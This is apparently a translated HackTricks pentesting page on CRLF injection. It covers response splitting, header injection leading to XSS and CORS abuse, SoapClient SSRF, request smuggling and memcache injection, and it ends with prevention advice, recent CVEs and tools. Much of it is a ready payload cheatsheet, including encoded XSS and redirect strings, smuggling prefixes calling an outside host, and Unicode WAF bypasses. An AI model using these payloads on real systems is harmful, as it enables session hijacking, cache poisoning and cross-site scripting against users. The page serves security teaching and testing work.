18 KiB
CRLF (%0D%0A) Injection
{{#include ../banners/hacktricks-training.md}}
CRLF
Le retour chariot (CR) et le saut de ligne (LF), collectivement connus sous le nom de CRLF, sont des séquences de caractères spéciaux utilisées dans le protocole HTTP pour indiquer la fin d'une ligne ou le début d'une nouvelle. Les serveurs web et les navigateurs utilisent CRLF pour distinguer les en-têtes HTTP du corps d'une réponse. Ces caractères sont universellement employés dans les communications HTTP/1.1 à travers divers types de serveurs web, tels qu'Apache et Microsoft IIS.
CRLF Injection Vulnerability
L'injection CRLF implique l'insertion de caractères CR et LF dans des entrées fournies par l'utilisateur. Cette action induit en erreur le serveur, l'application ou l'utilisateur en interprétant la séquence injectée comme la fin d'une réponse et le début d'une autre. Bien que ces caractères ne soient pas intrinsèquement nuisibles, leur mauvaise utilisation peut conduire à un fractionnement de la réponse HTTP et à d'autres activités malveillantes.
Example: CRLF Injection in a Log File
Considérez un fichier journal dans un panneau d'administration qui suit le format : IP - Heure - Chemin Visité. Une entrée typique pourrait ressembler à :
123.123.123.123 - 08:15 - /index.php?page=home
Un attaquant peut exploiter une injection CRLF pour manipuler ce journal. En injectant des caractères CRLF dans la requête HTTP, l'attaquant peut modifier le flux de sortie et fabriquer des entrées de journal. Par exemple, une séquence injectée pourrait transformer l'entrée du journal en :
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
Ici, %0d et %0a représentent les formes encodées en URL de CR et LF. Après l'attaque, le journal afficherait de manière trompeuse :
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
L'attaquant dissimule ainsi ses activités malveillantes en faisant apparaître que le localhost (une entité généralement de confiance dans l'environnement serveur) a effectué les actions. Le serveur interprète la partie de la requête commençant par %0d%0a comme un seul paramètre, tandis que le paramètre restrictedaction est analysé comme une autre entrée distincte. La requête manipulée imite effectivement une commande administrative légitime : /index.php?page=home&restrictedaction=edit
HTTP Response Splitting
Description
HTTP Response Splitting est une vulnérabilité de sécurité qui survient lorsqu'un attaquant exploite la structure des réponses HTTP. Cette structure sépare les en-têtes du corps à l'aide d'une séquence de caractères spécifique, le Carriage Return (CR) suivi du Line Feed (LF), collectivement appelés CRLF. Si un attaquant parvient à insérer une séquence CRLF dans un en-tête de réponse, il peut effectivement manipuler le contenu de la réponse suivante. Ce type de manipulation peut entraîner de graves problèmes de sécurité, notamment le Cross-site Scripting (XSS).
XSS à travers HTTP Response Splitting
- L'application définit un en-tête personnalisé comme ceci :
X-Custom-Header: UserInput - L'application récupère la valeur pour
UserInputà partir d'un paramètre de requête, disons "user_input". Dans des scénarios manquant de validation et d'encodage appropriés des entrées, un attaquant peut créer un payload qui inclut la séquence CRLF, suivie de contenu malveillant. - Un attaquant crée une URL avec un 'user_input' spécialement conçu :
?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
- Dans cette URL,
%0d%0a%0d%0aest la forme encodée en URL de CRLFCRLF. Cela trompe le serveur en lui faisant insérer une séquence CRLF, amenant le serveur à traiter la partie suivante comme le corps de la réponse.
- Le serveur reflète l'entrée de l'attaquant dans l'en-tête de réponse, conduisant à une structure de réponse non intentionnelle où le script malveillant est interprété par le navigateur comme faisant partie du corps de la réponse.
Un exemple de HTTP Response Splitting menant à une redirection
Browser to:
/%0d%0aLocation:%20http://myweb.com
Et le serveur répond avec l'en-tête :
Location: http://myweb.com
Autre exemple : (de https://www.acunetix.com/websitesecurity/crlf-injection/)
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
Dans le chemin URL
Vous pouvez envoyer la charge utile dans le chemin URL pour contrôler la réponse du serveur (exemple de ici):
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
Vérifiez plus d'exemples dans :
{{#ref}} https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md {{#endref}}
Injection d'en-tête HTTP
L'injection d'en-tête HTTP, souvent exploitée par l'injection CRLF (Carriage Return and Line Feed), permet aux attaquants d'insérer des en-têtes HTTP. Cela peut compromettre des mécanismes de sécurité tels que les filtres XSS (Cross-Site Scripting) ou le SOP (Same-Origin Policy), menant potentiellement à un accès non autorisé à des données sensibles, telles que des jetons CSRF, ou à la manipulation de sessions utilisateur par le biais de l'injection de cookies.
Exploitation de CORS via l'injection d'en-tête HTTP
Un attaquant peut injecter des en-têtes HTTP pour activer CORS (Cross-Origin Resource Sharing), contournant les restrictions imposées par le SOP. Cette violation permet aux scripts provenant d'origines malveillantes d'interagir avec des ressources d'une origine différente, accédant potentiellement à des données protégées.
SSRF et injection de requête HTTP via CRLF
L'injection CRLF peut être utilisée pour créer et injecter une toute nouvelle requête HTTP. Un exemple notable de cela est la vulnérabilité dans la classe SoapClient de PHP, spécifiquement dans le paramètre user_agent. En manipulant ce paramètre, un attaquant peut insérer des en-têtes supplémentaires et du contenu dans le corps, ou même injecter complètement une nouvelle requête HTTP. Ci-dessous un exemple PHP démontrant cette exploitation :
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
Injection d'en-tête pour le Request Smuggling
Pour plus d'informations sur cette technique et les problèmes potentiels consultez la source originale.
Vous pouvez injecter des en-têtes essentiels pour garantir que le back-end maintienne la connexion ouverte après avoir répondu à la demande initiale :
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
Après cela, une deuxième requête peut être spécifiée. Ce scénario implique généralement HTTP request smuggling, une technique où des en-têtes supplémentaires ou des éléments de corps ajoutés par le serveur après l'injection peuvent conduire à diverses exploitations de sécurité.
Exploitation :
- Injection de Préfixe Malveillant : Cette méthode consiste à empoisonner la requête du prochain utilisateur ou un cache web en spécifiant un préfixe malveillant. Un exemple de cela est :
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
- Création d'un Préfixe pour l'Empoisonnement de la File d'Attente de Réponse : Cette approche consiste à créer un préfixe qui, lorsqu'il est combiné avec des déchets en fin de chaîne, forme une seconde requête complète. Cela peut déclencher l'empoisonnement de la file d'attente de réponse. Un exemple est :
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
Injection Memcache
Memcache est un magasin de clés-valeurs qui utilise un protocole en texte clair. Plus d'infos dans :
{{#ref}} ../network-services-pentesting/11211-memcache/ {{#endref}}
Pour l'information complète, lisez le rapport original
Si une plateforme prend des données d'une requête HTTP et les utilise sans les assainir pour effectuer des requêtes à un serveur memcache, un attaquant pourrait abuser de ce comportement pour injecter de nouvelles commandes memcache.
Par exemple, dans la vulnérabilité découverte à l'origine, des clés de cache étaient utilisées pour retourner l'IP et le port auxquels un utilisateur devait se connecter, et les attaquants pouvaient injecter des commandes memcache qui empoisonneraient le cache pour envoyer les détails des victimes (noms d'utilisateur et mots de passe inclus) aux serveurs de l'attaquant :
De plus, les chercheurs ont également découvert qu'ils pouvaient désynchroniser les réponses memcache pour envoyer l'IP et les ports des attaquants à des utilisateurs dont l'email était inconnu de l'attaquant :
Comment Prévenir les Injections CRLF / HTTP Header dans les Applications Web
Pour atténuer les risques d'injections CRLF (Carriage Return and Line Feed) ou d'injections d'en-têtes HTTP dans les applications web, les stratégies suivantes sont recommandées :
- Éviter l'Entrée Directe de l'Utilisateur dans les En-têtes de Réponse : L'approche la plus sûre est de s'abstenir d'incorporer des entrées fournies par l'utilisateur directement dans les en-têtes de réponse.
- Encoder les Caractères Spéciaux : Si éviter l'entrée directe de l'utilisateur n'est pas faisable, assurez-vous d'employer une fonction dédiée à l'encodage des caractères spéciaux comme CR (Carriage Return) et LF (Line Feed). Cette pratique empêche la possibilité d'injection CRLF.
- Mettre à Jour le Langage de Programmation : Mettez régulièrement à jour le langage de programmation utilisé dans vos applications web vers la dernière version. Optez pour une version qui interdit intrinsèquement l'injection de caractères CR et LF dans les fonctions chargées de définir les en-têtes HTTP.
CHEATSHEET
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
Vulnérabilités Récentes (2023 – 2025)
Les dernières années ont produit plusieurs bugs d'injection CRLF/HTTP à fort impact dans des composants largement utilisés côté serveur et client. Reproduire et étudier ces bugs localement est un excellent moyen de comprendre les modèles d'exploitation dans le monde réel.
| Année | Composant | CVE / Avis | Cause racine | Point fort du PoC |
|---|---|---|---|---|
| 2024 | RestSharp (≥110.0.0 <110.2.0) | CVE-2024-45302 | L'assistant AddHeader() ne nettoyait pas CR/LF, permettant la construction de plusieurs en-têtes de requête lorsque RestSharp est utilisé comme client HTTP dans des services back-end. Les systèmes en aval pouvaient être contraints à SSRF ou à du request smuggling. |
client.AddHeader("X-Foo","bar%0d%0aHost:evil") |
| 2024 | Refit (≤ 7.2.101) | CVE-2024-51501 | Les attributs d'en-tête sur les méthodes d'interface étaient copiés textuellement dans la requête. En intégrant %0d%0a, les attaquants pouvaient ajouter des en-têtes arbitraires ou même une seconde requête lorsque Refit était utilisé par des tâches de travail côté serveur. |
[Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")] |
| 2023 | Tableau de bord Apache APISIX | GHSA-4h3j-f5x9-r6x3 | Le paramètre redirect fourni par l'utilisateur était renvoyé dans un en-tête Location: sans encodage, permettant une redirection ouverte + un empoisonnement de cache. |
/login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script> |
Ces bugs sont importants car ils sont déclenchés à l'intérieur du code au niveau de l'application et pas seulement à la périphérie du serveur web. Tout composant interne qui effectue des requêtes HTTP ou définit des en-têtes de réponse doit donc appliquer un filtrage CR/LF.
Contournements Avancés de Unicode / Caractères de Contrôle
Les piles WAF/rewriter modernes suppriment souvent les \r/\n littéraux mais oublient d'autres caractères que de nombreux back-ends traitent comme des terminators de ligne. Lorsque CRLF est filtré, essayez :
%E2%80%A8(U+2028– SÉPARATEUR DE LIGNE)%E2%80%A9(U+2029– SÉPARATEUR DE PARAGRAPHE)%C2%85(U+0085– LIGNE SUIVANTE)
Certaines frameworks Java, Python et Go convertissent ces caractères en \n lors de l'analyse des en-têtes (voir la recherche Praetorian de 2023). Combinez-les avec des charges utiles classiques :
/%0A%E2%80%A8Set-Cookie:%20admin=true
Si le filtre normalise d'abord UTF-8, le caractère de contrôle est transformé en un saut de ligne régulier et l'en-tête injecté est accepté.
Évasion WAF via le truc de Content-Encoding dupliqué (2023)
Les chercheurs de Praetorian ont également montré qu'en injectant :
%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a
dans un en-tête réfléchi, les navigateurs ignoreront le corps fourni par le serveur et rendront le HTML fourni par l'attaquant qui suit, donnant un XSS stocké même lorsque le contenu de l'application est inerte. Parce que Content-Encoding: identity est autorisé par la RFC 9110, de nombreux reverse-proxies le transmettent sans changement.
Outils Automatiques
- CRLFsuite – scanner actif rapide écrit en Go.
- crlfuzz – fuzzer basé sur une liste de mots qui prend en charge les charges utiles de nouvelle ligne Unicode.
- crlfix – utilitaire 2024 qui corrige les requêtes HTTP générées par des programmes Go et peut être utilisé de manière autonome pour tester des services internes.
Liste de Détection par Force Brute
Références
- https://www.invicti.com/blog/web-security/crlf-http-header/
- https://www.acunetix.com/websitesecurity/crlf-injection/
- https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
- https://www.netsparker.com/blog/web-security/crlf-http-header/
- https://nvd.nist.gov/vuln/detail/CVE-2024-45302
- https://security.praetorian.com/blog/2023-unicode-newlines-bypass/
{{#include ../banners/hacktricks-training.md}}